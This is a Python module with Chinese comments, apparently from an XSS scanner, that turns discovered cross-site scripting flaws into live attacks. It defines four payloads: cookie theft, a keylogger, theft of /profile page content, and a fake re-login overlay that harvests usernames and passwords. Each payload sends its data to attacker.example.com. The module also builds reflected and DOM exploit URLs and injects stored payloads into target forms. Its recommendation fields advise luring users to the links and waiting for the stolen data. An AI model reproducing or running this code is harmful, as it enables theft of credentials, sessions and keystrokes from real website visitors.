#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
XSS漏洞利用模块，负责利用发现的XSS漏洞
"""

import logging
import random
import string
import base64
from urllib.parse import urlencode, urlparse, parse_qsl

logger = logging.getLogger('xss_scanner')

class XSSExploit:
    """XSS漏洞利用类，负责利用XSS漏洞执行特定操作"""
    
    def __init__(self, http_client):
        """
        初始化XSS漏洞利用模块
        
        Args:
            http_client: HTTP客户端对象
        """
        self.http_client = http_client
        self.exploit_id = self._generate_random_string(8)
        
        # 常用的XSS利用载荷
        self.cookie_steal_payload = f"""<script>
new Image().src="http://attacker.example.com/steal.php?cookie="+encodeURIComponent(document.cookie)+"&location="+encodeURIComponent(window.location)+"&id={self.exploit_id}";
</script>"""

        self.keylogger_payload = f"""<script>
document.addEventListener('keydown', function(e) {{
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://attacker.example.com/log.php?key='+e.key+'&id={self.exploit_id}', true);
    xhr.send();
}});
</script>"""

        self.session_hijack_payload = f"""<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/profile', true);
xhr.onload = function() {{
    var content = this.responseText;
    var xhr2 = new XMLHttpRequest();
    xhr2.open('GET', 'http://attacker.example.com/steal.php?data='+encodeURIComponent(content)+'&id={self.exploit_id}', true);
    xhr2.send();
}};
xhr.send();
</script>"""

        self.phishing_payload = f"""<div style="position:fixed;top:0;left:0;width:100%;height:100%;background-color:white;z-index:9999;">
<h2 style="text-align:center;margin-top:20px;">您的会话已过期</h2>
<p style="text-align:center;">请重新登录以继续</p>
<form style="width:300px;margin:0 auto;" onsubmit="sendCredentials(event)">
<p><input type="text" name="username" placeholder="用户名" style="width:100%;padding:10px;margin:10px 0;"></p>
<p><input type="password" name="password" placeholder="密码" style="width:100%;padding:10px;margin:10px 0;"></p>
<p><button type="submit" style="width:100%;padding:10px;background-color:#4CAF50;color:white;border:none;">登录</button></p>
</form>
<script>
function sendCredentials(e) {{
    e.preventDefault();
    var u = document.querySelector('input[name="username"]').value;
    var p = document.querySelector('input[name="password"]').value;
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://attacker.example.com/phish.php?u='+encodeURIComponent(u)+'&p='+encodeURIComponent(p)+'&id={self.exploit_id}', true);
    xhr.onload = function() {{
        window.location = '/login';
    }};
    xhr.send();
}}
</script>
</div>"""
    
    def exploit(self, vulnerability):
        """
        利用XSS漏洞
        
        Args:
            vulnerability: 漏洞信息
            
        Returns:
            dict: 利用结果，如果利用失败则返回None
        """
        if vulnerability['type'] != 'XSS':
            logger.warning(f"漏洞类型不匹配，预期XSS，实际为{vulnerability['type']}")
            return None
            
        logger.info(f"尝试利用XSS漏洞: {vulnerability['url']}")
        
        # 根据漏洞子类型选择不同的利用方式
        if vulnerability['subtype'] == 'Reflected XSS':
            return self._exploit_reflected_xss(vulnerability)
        elif vulnerability['subtype'] == 'Stored XSS':
            return self._exploit_stored_xss(vulnerability)
        elif vulnerability['subtype'] == 'DOM XSS':
            return self._exploit_dom_xss(vulnerability)
        else:
            logger.warning(f"未知的XSS漏洞子类型: {vulnerability['subtype']}")
            return None
    
    def _exploit_reflected_xss(self, vulnerability):
        """
        利用反射型XSS漏洞
        
        Args:
            vulnerability: 漏洞信息
            
        Returns:
            dict: 利用结果，如果利用失败则返回None
        """
        # 获取漏洞URL和参数
        url = vulnerability['url']
        parameter = vulnerability['parameter']
        
        # 构建利用载荷
        payloads = [
            self.cookie_steal_payload,
            self.keylogger_payload,
            self.session_hijack_payload,
            self.phishing_payload
        ]
        
        # 随机选择一个载荷进行利用
        payload = random.choice(payloads)
        
        # 构建利用URL
        parsed_url = urlparse(url)
        query_params = dict(parse_qsl(parsed_url.query))
        
        if parameter in query_params:
            query_params[parameter] = payload
            
            # 构建利用URL
            exploit_url = f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}?{urlencode(query_params)}"
            
            logger.info(f"生成XSS利用URL: {exploit_url}")
            
            return {
                'type': 'XSS_EXPLOIT',
                'exploit_type': '反射型XSS漏洞利用',
                'url': exploit_url,
                'payload': payload,
                'description': f"反射型XSS漏洞利用成功，可以通过URL诱导用户访问触发XSS。",
                'recommendation': "诱导用户访问该URL，然后等待回连数据。"
            }
        
        return None
    
    def _exploit_stored_xss(self, vulnerability):
        """
        利用存储型XSS漏洞
        
        Args:
            vulnerability: 漏洞信息
            
        Returns:
            dict: 利用结果，如果利用失败则返回None
        """
        # 获取漏洞表单提交信息
        url = vulnerability['url']
        form_action = vulnerability.get('form_action', url)
        form_method = vulnerability.get('form_method', 'POST')
        parameter = vulnerability['parameter']
        
        # 构建利用载荷
        payload = self.cookie_steal_payload
        
        # 构建表单数据
        form_data = {
            parameter: payload
        }
        
        logger.info(f"尝试提交存储型XSS利用载荷到: {form_action}")
        
        # 提交表单
        try:
            if form_method.upper() == 'POST':
                response = self.http_client.post(form_action, data=form_data)
            else:
                response = self.http_client.get(form_action, params=form_data)
                
            if response and response.status_code < 400:
                return {
                    'type': 'XSS_EXPLOIT',
                    'exploit_type': '存储型XSS漏洞利用',
                    'url': form_action,
                    'payload': payload,
                    'description': f"存储型XSS漏洞利用成功，XSS Payload已经注入到目标站点，将在用户访问时触发。",
                    'recommendation': "等待用户访问包含存储型XSS的页面，然后接收回连数据。"
                }
        except Exception as e:
            logger.error(f"利用存储型XSS漏洞时发生错误: {str(e)}")
            
        return None
    
    def _exploit_dom_xss(self, vulnerability):
        """
        利用DOM型XSS漏洞
        
        Args:
            vulnerability: 漏洞信息
            
        Returns:
            dict: 利用结果，如果利用失败则返回None
        """
        # DOM型XSS通常涉及到URL片段（hash）或特定参数
        url = vulnerability['url']
        parameter = vulnerability.get('parameter', 'fragment')
        
        # 构建利用载荷
        payload = self.cookie_steal_payload
        
        # 如果是URL片段，直接添加到URL末尾
        if parameter == 'fragment':
            exploit_url = f"{url}#{payload}"
        else:
            # 否则作为URL参数
            parsed_url = urlparse(url)
            query_params = dict(parse_qsl(parsed_url.query))
            query_params[parameter] = payload
            exploit_url = f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}?{urlencode(query_params)}"
        
        logger.info(f"生成DOM XSS利用URL: {exploit_url}")
        
        return {
            'type': 'XSS_EXPLOIT',
            'exploit_type': 'DOM型XSS漏洞利用',
            'url': exploit_url,
            'payload': payload,
            'description': f"DOM型XSS漏洞利用成功，可以通过URL触发客户端XSS。",
            'recommendation': "诱导用户访问该URL，然后等待回连数据。"
        }
    
    def _generate_random_string(self, length=8):
        """
        生成随机字符串
        
        Args:
            length: 字符串长度
            
        Returns:
            str: 随机字符串
        """
        chars = string.ascii_letters + string.digits
        return ''.join(random.choice(chars) for _ in range(length))